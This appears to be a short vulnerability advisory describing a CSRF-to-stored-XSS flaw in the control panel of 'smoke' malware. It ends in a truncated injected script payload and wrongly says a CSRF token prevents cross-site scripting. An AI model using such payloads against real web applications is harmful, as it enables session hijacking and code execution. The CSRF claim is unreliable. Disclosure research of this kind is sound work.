The panel has multiple features like Bot List, Task List, Stealer, Miner, Email Grab, KeyLogger etc. The "control.php" PHP page contains an HTML FORM using POST method, however there is no CSRF security token used by the FORM. This is a unique token per session within the FORM, used as a challenge to the server to help prevent cross-site-scripting attacks. Therefore, third-party adversaries who can lure a panel user to visit an attacker controlled webpage or click an infected link may result in the panel users submitting FORMS on an attackers behalf. This may result in code execution, data theft, GEO location disclosure. The CSRF to XSS results in stored JS payload in the smoke MySQL database table "plugins". hash fgfilter fakedns_rules filesearch_rules procmon_rules ddos_rules keylog_rules fgcookies miner_rules 93666df0833e0b63917e5373812613 0 ""/%3E%3Cscript%3Ewindow.open("https://www.malvuln.com/l...
